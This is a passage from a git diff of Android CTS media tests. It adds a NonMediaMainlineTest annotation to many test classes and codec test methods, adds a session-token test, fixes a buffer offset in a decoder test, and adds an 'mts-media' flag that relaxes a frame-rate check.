diff --git a/tests/tests/media/src/android/media/cts/MediaScannerConnectionTest.java b/tests/tests/media/src/android/media/cts/MediaScannerConnectionTest.java
index 8ca7df7..6745fa4 100644
--- a/tests/tests/media/src/android/media/cts/MediaScannerConnectionTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaScannerConnectionTest.java
@@ -30,6 +30,7 @@
 
 import java.io.File;
 
+@NonMediaMainlineTest
 @AppModeFull(reason = "TODO: evaluate and port to instant")
 public class MediaScannerConnectionTest extends AndroidTestCase {
 
diff --git a/tests/tests/media/src/android/media/cts/MediaScannerNotificationTest.java b/tests/tests/media/src/android/media/cts/MediaScannerNotificationTest.java
index 3eb1ab4..77f3d58 100644
--- a/tests/tests/media/src/android/media/cts/MediaScannerNotificationTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaScannerNotificationTest.java
@@ -26,6 +26,7 @@
 import java.io.FileOutputStream;
 import java.io.IOException;
 
+@NonMediaMainlineTest
 @AppModeFull(reason = "TODO: evaluate and port to instant")
 public class MediaScannerNotificationTest extends AndroidTestCase {
 
diff --git a/tests/tests/media/src/android/media/cts/MediaScannerTest.java b/tests/tests/media/src/android/media/cts/MediaScannerTest.java
index 1bd909d..4f27289 100644
--- a/tests/tests/media/src/android/media/cts/MediaScannerTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaScannerTest.java
@@ -52,6 +52,7 @@
 import java.io.InputStreamReader;
 import java.nio.charset.StandardCharsets;
 
+@NonMediaMainlineTest
 @SmallTest
 @RequiresDevice
 @AppModeFull(reason = "TODO: evaluate and port to instant")
diff --git a/tests/tests/media/src/android/media/cts/MediaSessionManagerTest.java b/tests/tests/media/src/android/media/cts/MediaSessionManagerTest.java
index f0e63ef..e899e71 100644
--- a/tests/tests/media/src/android/media/cts/MediaSessionManagerTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaSessionManagerTest.java
@@ -18,6 +18,7 @@
 import android.platform.test.annotations.AppModeFull;
 import com.android.compatibility.common.util.SystemUtil;
 
+import android.content.ComponentName;
 import android.content.Context;
 import android.content.Intent;
 import android.content.pm.PackageManager;
@@ -273,6 +274,20 @@
         }
     }
 
+    public void testNotifySession2Created() throws Exception {
+        final Context context = getInstrumentation().getTargetContext();
+        Session2Token token = new Session2Token(context,
+                new ComponentName(context, this.getClass()));
+
+        try {
+            mSessionManager.notifySession2Created(token);
+            fail("Expected IllegalArgumentException for a call to notifySession2Created with " +
+                    "TYPE_SESSION_SERVICE token");
+        } catch (IllegalArgumentException e) {
+            // Expected
+        }
+    }
+
     public void testGetSession2Tokens() throws Exception {
         final Context context = getInstrumentation().getTargetContext();
         Handler handler = createHandler();
diff --git a/tests/tests/media/src/android/media/cts/MediaSessionTest.java b/tests/tests/media/src/android/media/cts/MediaSessionTest.java
index 23ae366..39f5471 100644
--- a/tests/tests/media/src/android/media/cts/MediaSessionTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaSessionTest.java
@@ -51,6 +51,7 @@
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
 
+@NonMediaMainlineTest
 @AppModeFull(reason = "TODO: evaluate and port to instant")
 public class MediaSessionTest extends AndroidTestCase {
     // The maximum time to wait for an operation that is expected to succeed.
diff --git a/tests/tests/media/src/android/media/cts/MediaSyncTest.java b/tests/tests/media/src/android/media/cts/MediaSyncTest.java
index f5686b1..fae846e 100644
--- a/tests/tests/media/src/android/media/cts/MediaSyncTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaSyncTest.java
@@ -56,6 +56,7 @@
  * Blender Foundation / www.bigbuckbunny.org, and are licensed under the Creative Commons
  * Attribution 3.0 License at http://creativecommons.org/licenses/by/3.0/us/.
  */
+@NonMediaMainlineTest
 @SmallTest
 @RequiresDevice
 @AppModeFull(reason = "TODO: evaluate and port to instant")
diff --git a/tests/tests/media/src/android/media/cts/MediaTimestampTest.java b/tests/tests/media/src/android/media/cts/MediaTimestampTest.java
index de91124..78fd137 100644
--- a/tests/tests/media/src/android/media/cts/MediaTimestampTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaTimestampTest.java
@@ -22,6 +22,7 @@
 /**
  * Tests for MediaTimestamp.
  */
+@NonMediaMainlineTest
 public class MediaTimestampTest extends AndroidTestCase {
     public void testMediaTimestamp() {
         MediaTimestamp timestamp = new MediaTimestamp(1000, 2000, 2.0f);
diff --git a/tests/tests/media/src/android/media/cts/NativeDecoderTest.java b/tests/tests/media/src/android/media/cts/NativeDecoderTest.java
index 18346ea..ff605e2 100644
--- a/tests/tests/media/src/android/media/cts/NativeDecoderTest.java
+++ b/tests/tests/media/src/android/media/cts/NativeDecoderTest.java
@@ -530,8 +530,9 @@
         int stride = format.getInteger(MediaFormat.KEY_STRIDE, width);
         int height = format.getInteger(MediaFormat.KEY_HEIGHT, 1);
         byte[] bb = new byte[width * height];
+        int offset = buf.position();
         for (int i = 0; i < height; i++) {
-            buf.position(i * stride);
+            buf.position(i * stride + offset);
             buf.get(bb, i * width, width);
         }
         // bb is filled with data
diff --git a/hostsidetests/devicepolicy/app/NoLaunchableActivityApp/no_component_AndroidManifest.xml b/tests/tests/media/src/android/media/cts/NonMediaMainlineTest.java
old mode 100755
new mode 100644
similarity index 60%
copy from hostsidetests/devicepolicy/app/NoLaunchableActivityApp/no_component_AndroidManifest.xml
copy to tests/tests/media/src/android/media/cts/NonMediaMainlineTest.java
index a48cb1d..44ee14f
--- a/hostsidetests/devicepolicy/app/NoLaunchableActivityApp/no_component_AndroidManifest.xml
+++ b/tests/tests/media/src/android/media/cts/NonMediaMainlineTest.java
@@ -1,5 +1,4 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
+/*
  * Copyright (C) 2019 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
@@ -13,13 +12,19 @@
  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  * See the License for the specific language governing permissions and
  * limitations under the License.
- -->
+ */
 
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.nocomponentapp">
+package android.media.cts;
 
-    <uses-permission android:name="android.permission.INTERNET" />
-    <application />
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
 
-</manifest>
-
+/**
+ * Annotation for tests that are not related to media mainline.
+ */
+@Retention(RetentionPolicy.RUNTIME)
+@Target({ElementType.METHOD, ElementType.TYPE})
+public @interface NonMediaMainlineTest {
+}
diff --git a/tests/tests/media/src/android/media/cts/PresentationSyncTest.java b/tests/tests/media/src/android/media/cts/PresentationSyncTest.java
index 23b7173..b9a7d27 100644
--- a/tests/tests/media/src/android/media/cts/PresentationSyncTest.java
+++ b/tests/tests/media/src/android/media/cts/PresentationSyncTest.java
@@ -35,6 +35,7 @@
  * SurfaceFlinger allows a "desired presentation time" value to be passed along with buffers of
  * data.  This exercises that feature.
  */
+@NonMediaMainlineTest
 @AppModeFull(reason = "TODO: evaluate and port to instant")
 public class PresentationSyncTest extends ActivityInstrumentationTestCase2<MediaStubActivity>
         implements SurfaceHolder.Callback {
diff --git a/tests/tests/media/src/android/media/cts/PresetReverbTest.java b/tests/tests/media/src/android/media/cts/PresetReverbTest.java
index 9848015..c7cc37e 100644
--- a/tests/tests/media/src/android/media/cts/PresetReverbTest.java
+++ b/tests/tests/media/src/android/media/cts/PresetReverbTest.java
@@ -25,6 +25,7 @@
 import android.test.AndroidTestCase;
 import android.util.Log;
 
+@NonMediaMainlineTest
 @AppModeFull(reason = "TODO: evaluate and port to instant")
 public class PresetReverbTest extends PostProcTestBase {
 
@@ -395,4 +396,4 @@
             mReverb2 = null;
         }
     }
-}
\ No newline at end of file
+}
diff --git a/tests/tests/media/src/android/media/cts/RemoteControllerTest.java b/tests/tests/media/src/android/media/cts/RemoteControllerTest.java
index 802086a..a7d9f72 100644
--- a/tests/tests/media/src/android/media/cts/RemoteControllerTest.java
+++ b/tests/tests/media/src/android/media/cts/RemoteControllerTest.java
@@ -37,6 +37,7 @@
 /**
  * Tests for {@link RemoteController}.
  */
+@NonMediaMainlineTest
 @AppModeFull(reason = "TODO: evaluate and port to instant")
 public class RemoteControllerTest extends InstrumentationTestCase {
 
diff --git a/tests/tests/media/src/android/media/cts/StreamingMediaPlayerTest.java b/tests/tests/media/src/android/media/cts/StreamingMediaPlayerTest.java
index ede1711..e215ee6 100644
--- a/tests/tests/media/src/android/media/cts/StreamingMediaPlayerTest.java
+++ b/tests/tests/media/src/android/media/cts/StreamingMediaPlayerTest.java
@@ -48,6 +48,7 @@
 /**
  * Tests of MediaPlayer streaming capabilities.
  */
+@NonMediaMainlineTest
 @AppModeFull(reason = "TODO: evaluate and port to instant")
 public class StreamingMediaPlayerTest extends MediaPlayerTestBase {
 
diff --git a/tests/tests/media/src/android/media/cts/SubtitleDataTest.java b/tests/tests/media/src/android/media/cts/SubtitleDataTest.java
index 7080436..9cd4144 100644
--- a/tests/tests/media/src/android/media/cts/SubtitleDataTest.java
+++ b/tests/tests/media/src/android/media/cts/SubtitleDataTest.java
@@ -24,6 +24,7 @@
 /**
  * Tests for SubtitleData.
  */
+@NonMediaMainlineTest
 public class SubtitleDataTest extends AndroidTestCase {
     private static final String SUBTITLE_RAW_DATA = "RAW_DATA";
 
diff --git a/tests/tests/media/src/android/media/cts/TimedMetaDataTest.java b/tests/tests/media/src/android/media/cts/TimedMetaDataTest.java
index a530999..1e4d035 100644
--- a/tests/tests/media/src/android/media/cts/TimedMetaDataTest.java
+++ b/tests/tests/media/src/android/media/cts/TimedMetaDataTest.java
@@ -24,6 +24,7 @@
 /**
  * Tests for TimedMetaData.
  */
+@NonMediaMainlineTest
 public class TimedMetaDataTest extends AndroidTestCase {
     private static final String RAW_METADATA = "RAW_METADATA";
 
diff --git a/tests/tests/media/src/android/media/cts/ToneGeneratorTest.java b/tests/tests/media/src/android/media/cts/ToneGeneratorTest.java
index 91ff2f8..4305d84 100644
--- a/tests/tests/media/src/android/media/cts/ToneGeneratorTest.java
+++ b/tests/tests/media/src/android/media/cts/ToneGeneratorTest.java
@@ -21,6 +21,7 @@
 import android.platform.test.annotations.AppModeFull;
 import android.test.AndroidTestCase;
 
+@NonMediaMainlineTest
 @AppModeFull(reason = "TODO: evaluate and port to instant")
 public class ToneGeneratorTest extends AndroidTestCase {
 
diff --git a/tests/tests/media/src/android/media/cts/VideoDecoderPerfTest.java b/tests/tests/media/src/android/media/cts/VideoDecoderPerfTest.java
index 867e02f..f006990 100644
--- a/tests/tests/media/src/android/media/cts/VideoDecoderPerfTest.java
+++ b/tests/tests/media/src/android/media/cts/VideoDecoderPerfTest.java
@@ -26,10 +26,13 @@
 import android.media.MediaExtractor;
 import android.media.MediaFormat;
 import android.os.Build;
+import android.os.Bundle;
 import android.platform.test.annotations.AppModeFull;
 import android.util.Log;
 import android.util.Pair;
+import android.text.TextUtils;
 import android.view.Surface;
+import androidx.test.platform.app.InstrumentationRegistry;
 
 import com.android.compatibility.common.util.DeviceReportLog;
 import com.android.compatibility.common.util.MediaPerfUtils;
@@ -74,11 +77,14 @@
     private int mBitrate;
 
     private Resources mResources;
+    private boolean mSkipRateChecking = false;
 
     @Override
     protected void setUp() throws Exception {
         super.setUp();
         mResources = mContext.getResources();
+        Bundle bundle = InstrumentationRegistry.getArguments();
+        mSkipRateChecking = TextUtils.equals("true", bundle.getString("mts-media"));
     }
 
     @Override
@@ -141,7 +147,7 @@
 
         String error =
             MediaPerfUtils.verifyAchievableFrameRates(name, mime, width, height, measuredFps);
-        if (frankenDevice() && error != null) {
+        if ((frankenDevice() || mSkipRateChecking) && error != null) {
             // ensure there is data, but don't insist that it is correct
             assertFalse(error, error.startsWith("Failed to get "));
         } else {
diff --git a/tests/tests/media/src/android/media/cts/VideoEncoderTest.java b/tests/tests/media/src/android/media/cts/VideoEncoderTest.java
index c7018a2..4196686 100644
--- a/tests/tests/media/src/android/media/cts/VideoEncoderTest.java
+++ b/tests/tests/media/src/android/media/cts/VideoEncoderTest.java
@@ -1223,17 +1223,29 @@
     public void testGoogVP9FlexMinMin()    { minmin(googVP9(),    true /* flex */); }
     public void testGoogVP9SurfMinMin()    { minmin(googVP9(),    false /* flex */); }
 
+    @NonMediaMainlineTest
     public void testOtherH265FlexMinMin()  { minmin(otherH265(),  true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH265SurfMinMin()  { minmin(otherH265(),  false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH264FlexMinMin()  { minmin(otherH264(),  true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH264SurfMinMin()  { minmin(otherH264(),  false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH263FlexMinMin()  { minmin(otherH263(),  true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH263SurfMinMin()  { minmin(otherH263(),  false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherMpeg4FlexMinMin() { minmin(otherMpeg4(), true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherMpeg4SurfMinMin() { minmin(otherMpeg4(), false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherVP8FlexMinMin()   { minmin(otherVP8(),   true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherVP8SurfMinMin()   { minmin(otherVP8(),   false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherVP9FlexMinMin()   { minmin(otherVP9(),   true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherVP9SurfMinMin()   { minmin(otherVP9(),   false /* flex */); }
 
     public void testGoogH265FlexMinMax()   { minmax(googH265(),   true /* flex */); }
@@ -1249,17 +1261,29 @@
     public void testGoogVP9FlexMinMax()    { minmax(googVP9(),    true /* flex */); }
     public void testGoogVP9SurfMinMax()    { minmax(googVP9(),    false /* flex */); }
 
+    @NonMediaMainlineTest
     public void testOtherH265FlexMinMax()  { minmax(otherH265(),  true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH265SurfMinMax()  { minmax(otherH265(),  false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH264FlexMinMax()  { minmax(otherH264(),  true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH264SurfMinMax()  { minmax(otherH264(),  false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH263FlexMinMax()  { minmax(otherH263(),  true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH263SurfMinMax()  { minmax(otherH263(),  false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherMpeg4FlexMinMax() { minmax(otherMpeg4(), true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherMpeg4SurfMinMax() { minmax(otherMpeg4(), false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherVP8FlexMinMax()   { minmax(otherVP8(),   true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherVP8SurfMinMax()   { minmax(otherVP8(),   false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherVP9FlexMinMax()   { minmax(otherVP9(),   true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherVP9SurfMinMax()   { minmax(otherVP9(),   false /* flex */); }
 
     public void testGoogH265FlexMaxMin()   { maxmin(googH265(),   true /* flex */); }
@@ -1275,17 +1299,29 @@
     public void testGoogVP9FlexMaxMin()    { maxmin(googVP9(),    true /* flex */); }
     public void testGoogVP9SurfMaxMin()    { maxmin(googVP9(),    false /* flex */); }
 
+    @NonMediaMainlineTest
     public void testOtherH265FlexMaxMin()  { maxmin(otherH265(),  true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH265SurfMaxMin()  { maxmin(otherH265(),  false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH264FlexMaxMin()  { maxmin(otherH264(),  true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH264SurfMaxMin()  { maxmin(otherH264(),  false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH263FlexMaxMin()  { maxmin(otherH263(),  true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH263SurfMaxMin()  { maxmin(otherH263(),  false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherMpeg4FlexMaxMin() { maxmin(otherMpeg4(), true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherMpeg4SurfMaxMin() { maxmin(otherMpeg4(), false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherVP8FlexMaxMin()   { maxmin(otherVP8(),   true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherVP8SurfMaxMin()   { maxmin(otherVP8(),   false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherVP9FlexMaxMin()   { maxmin(otherVP9(),   true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherVP9SurfMaxMin()   { maxmin(otherVP9(),   false /* flex */); }
 
     public void testGoogH265FlexMaxMax()   { maxmax(googH265(),   true /* flex */); }
@@ -1301,17 +1337,29 @@
     public void testGoogVP9FlexMaxMax()    { maxmax(googVP9(),    true /* flex */); }
     public void testGoogVP9SurfMaxMax()    { maxmax(googVP9(),    false /* flex */); }
 
+    @NonMediaMainlineTest
     public void testOtherH265FlexMaxMax()  { maxmax(otherH265(),  true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH265SurfMaxMax()  { maxmax(otherH265(),  false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH264FlexMaxMax()  { maxmax(otherH264(),  true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH264SurfMaxMax()  { maxmax(otherH264(),  false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH263FlexMaxMax()  { maxmax(otherH263(),  true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH263SurfMaxMax()  { maxmax(otherH263(),  false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherMpeg4FlexMaxMax() { maxmax(otherMpeg4(), true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherMpeg4SurfMaxMax() { maxmax(otherMpeg4(), false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherVP8FlexMaxMax()   { maxmax(otherVP8(),   true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherVP8SurfMaxMax()   { maxmax(otherVP8(),   false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherVP9FlexMaxMax()   { maxmax(otherVP9(),   true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherVP9SurfMaxMax()   { maxmax(otherVP9(),   false /* flex */); }
 
     public void testGoogH265FlexNearMinMin()   { nearminmin(googH265(),   true /* flex */); }
@@ -1327,17 +1375,29 @@
     public void testGoogVP9FlexNearMinMin()    { nearminmin(googVP9(),    true /* flex */); }
     public void testGoogVP9SurfNearMinMin()    { nearminmin(googVP9(),    false /* flex */); }
 
+    @NonMediaMainlineTest
     public void testOtherH265FlexNearMinMin()  { nearminmin(otherH265(),  true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH265SurfNearMinMin()  { nearminmin(otherH265(),  false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH264FlexNearMinMin()  { nearminmin(otherH264(),  true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH264SurfNearMinMin()  { nearminmin(otherH264(),  false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH263FlexNearMinMin()  { nearminmin(otherH263(),  true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH263SurfNearMinMin()  { nearminmin(otherH263(),  false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherMpeg4FlexNearMinMin() { nearminmin(otherMpeg4(), true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherMpeg4SurfNearMinMin() { nearminmin(otherMpeg4(), false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherVP8FlexNearMinMin()   { nearminmin(otherVP8(),   true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherVP8SurfNearMinMin()   { nearminmin(otherVP8(),   false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherVP9FlexNearMinMin()   { nearminmin(otherVP9(),   true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherVP9SurfNearMinMin()   { nearminmin(otherVP9(),   false /* flex */); }
 
     public void testGoogH265FlexNearMinMax()   { nearminmax(googH265(),   true /* flex */); }
@@ -1353,17 +1413,29 @@
     public void testGoogVP9FlexNearMinMax()    { nearminmax(googVP9(),    true /* flex */); }
     public void testGoogVP9SurfNearMinMax()    { nearminmax(googVP9(),    false /* flex */); }
 
+    @NonMediaMainlineTest
     public void testOtherH265FlexNearMinMax()  { nearminmax(otherH265(),  true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH265SurfNearMinMax()  { nearminmax(otherH265(),  false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH264FlexNearMinMax()  { nearminmax(otherH264(),  true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH264SurfNearMinMax()  { nearminmax(otherH264(),  false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH263FlexNearMinMax()  { nearminmax(otherH263(),  true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH263SurfNearMinMax()  { nearminmax(otherH263(),  false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherMpeg4FlexNearMinMax() { nearminmax(otherMpeg4(), true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherMpeg4SurfNearMinMax() { nearminmax(otherMpeg4(), false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherVP8FlexNearMinMax()   { nearminmax(otherVP8(),   true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherVP8SurfNearMinMax()   { nearminmax(otherVP8(),   false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherVP9FlexNearMinMax()   { nearminmax(otherVP9(),   true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherVP9SurfNearMinMax()   { nearminmax(otherVP9(),   false /* flex */); }
 
     public void testGoogH265FlexNearMaxMin()   { nearmaxmin(googH265(),   true /* flex */); }
@@ -1379,17 +1451,29 @@
     public void testGoogVP9FlexNearMaxMin()    { nearmaxmin(googVP9(),    true /* flex */); }
     public void testGoogVP9SurfNearMaxMin()    { nearmaxmin(googVP9(),    false /* flex */); }
 
+    @NonMediaMainlineTest
     public void testOtherH265FlexNearMaxMin()  { nearmaxmin(otherH265(),  true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH265SurfNearMaxMin()  { nearmaxmin(otherH265(),  false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH264FlexNearMaxMin()  { nearmaxmin(otherH264(),  true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH264SurfNearMaxMin()  { nearmaxmin(otherH264(),  false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH263FlexNearMaxMin()  { nearmaxmin(otherH263(),  true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH263SurfNearMaxMin()  { nearmaxmin(otherH263(),  false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherMpeg4FlexNearMaxMin() { nearmaxmin(otherMpeg4(), true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherMpeg4SurfNearMaxMin() { nearmaxmin(otherMpeg4(), false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherVP8FlexNearMaxMin()   { nearmaxmin(otherVP8(),   true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherVP8SurfNearMaxMin()   { nearmaxmin(otherVP8(),   false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherVP9FlexNearMaxMin()   { nearmaxmin(otherVP9(),   true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherVP9SurfNearMaxMin()   { nearmaxmin(otherVP9(),   false /* flex */); }
 
     public void testGoogH265FlexNearMaxMax()   { nearmaxmax(googH265(),   true /* flex */); }
@@ -1405,17 +1489,29 @@
     public void testGoogVP9FlexNearMaxMax()    { nearmaxmax(googVP9(),    true /* flex */); }
     public void testGoogVP9SurfNearMaxMax()    { nearmaxmax(googVP9(),    false /* flex */); }
 
+    @NonMediaMainlineTest
     public void testOtherH265FlexNearMaxMax()  { nearmaxmax(otherH265(),  true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH265SurfNearMaxMax()  { nearmaxmax(otherH265(),  false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH264FlexNearMaxMax()  { nearmaxmax(otherH264(),  true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH264SurfNearMaxMax()  { nearmaxmax(otherH264(),  false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH263FlexNearMaxMax()  { nearmaxmax(otherH263(),  true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH263SurfNearMaxMax()  { nearmaxmax(otherH263(),  false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherMpeg4FlexNearMaxMax() { nearmaxmax(otherMpeg4(), true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherMpeg4SurfNearMaxMax() { nearmaxmax(otherMpeg4(), false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherVP8FlexNearMaxMax()   { nearmaxmax(otherVP8(),   true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherVP8SurfNearMaxMax()   { nearmaxmax(otherVP8(),   false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherVP9FlexNearMaxMax()   { nearmaxmax(otherVP9(),   true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherVP9SurfNearMaxMax()   { nearmaxmax(otherVP9(),   false /* flex */); }
 
     public void testGoogH265FlexArbitraryW()   { arbitraryw(googH265(),   true /* flex */); }
@@ -1431,17 +1527,29 @@
     public void testGoogVP9FlexArbitraryW()    { arbitraryw(googVP9(),    true /* flex */); }
     public void testGoogVP9SurfArbitraryW()    { arbitraryw(googVP9(),    false /* flex */); }
 
+    @NonMediaMainlineTest
     public void testOtherH265FlexArbitraryW()  { arbitraryw(otherH265(),  true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH265SurfArbitraryW()  { arbitraryw(otherH265(),  false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH264FlexArbitraryW()  { arbitraryw(otherH264(),  true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH264SurfArbitraryW()  { arbitraryw(otherH264(),  false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH263FlexArbitraryW()  { arbitraryw(otherH263(),  true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH263SurfArbitraryW()  { arbitraryw(otherH263(),  false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherMpeg4FlexArbitraryW() { arbitraryw(otherMpeg4(), true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherMpeg4SurfArbitraryW() { arbitraryw(otherMpeg4(), false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherVP8FlexArbitraryW()   { arbitraryw(otherVP8(),   true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherVP8SurfArbitraryW()   { arbitraryw(otherVP8(),   false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherVP9FlexArbitraryW()   { arbitraryw(otherVP9(),   true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherVP9SurfArbitraryW()   { arbitraryw(otherVP9(),   false /* flex */); }
 
     public void testGoogH265FlexArbitraryH()   { arbitraryh(googH265(),   true /* flex */); }
@@ -1457,17 +1565,29 @@
     public void testGoogVP9FlexArbitraryH()    { arbitraryh(googVP9(),    true /* flex */); }
     public void testGoogVP9SurfArbitraryH()    { arbitraryh(googVP9(),    false /* flex */); }
 
+    @NonMediaMainlineTest
     public void testOtherH265FlexArbitraryH()  { arbitraryh(otherH265(),  true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH265SurfArbitraryH()  { arbitraryh(otherH265(),  false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH264FlexArbitraryH()  { arbitraryh(otherH264(),  true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH264SurfArbitraryH()  { arbitraryh(otherH264(),  false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH263FlexArbitraryH()  { arbitraryh(otherH263(),  true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH263SurfArbitraryH()  { arbitraryh(otherH263(),  false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherMpeg4FlexArbitraryH() { arbitraryh(otherMpeg4(), true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherMpeg4SurfArbitraryH() { arbitraryh(otherMpeg4(), false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherVP8FlexArbitraryH()   { arbitraryh(otherVP8(),   true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherVP8SurfArbitraryH()   { arbitraryh(otherVP8(),   false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherVP9FlexArbitraryH()   { arbitraryh(otherVP9(),   true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherVP9SurfArbitraryH()   { arbitraryh(otherVP9(),   false /* flex */); }
 
     public void testGoogH265FlexQCIF()   { specific(googH265(),   176, 144, true /* flex */); }
@@ -1485,19 +1605,31 @@
     public void testGoogVP9FlexQCIF()    { specific(googVP9(),    176, 144, true /* flex */); }
     public void testGoogVP9SurfQCIF()    { specific(googVP9(),    176, 144, false /* flex */); }
 
+    @NonMediaMainlineTest
     public void testOtherH265FlexQCIF()  { specific(otherH265(),  176, 144, true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH265SurfQCIF()  { specific(otherH265(),  176, 144, false /* flex */); }
+    @NonMediaMainlineTest
     @SmallTest
     public void testOtherH264FlexQCIF()  { specific(otherH264(),  176, 144, true /* flex */); }
+    @NonMediaMainlineTest
     @SmallTest
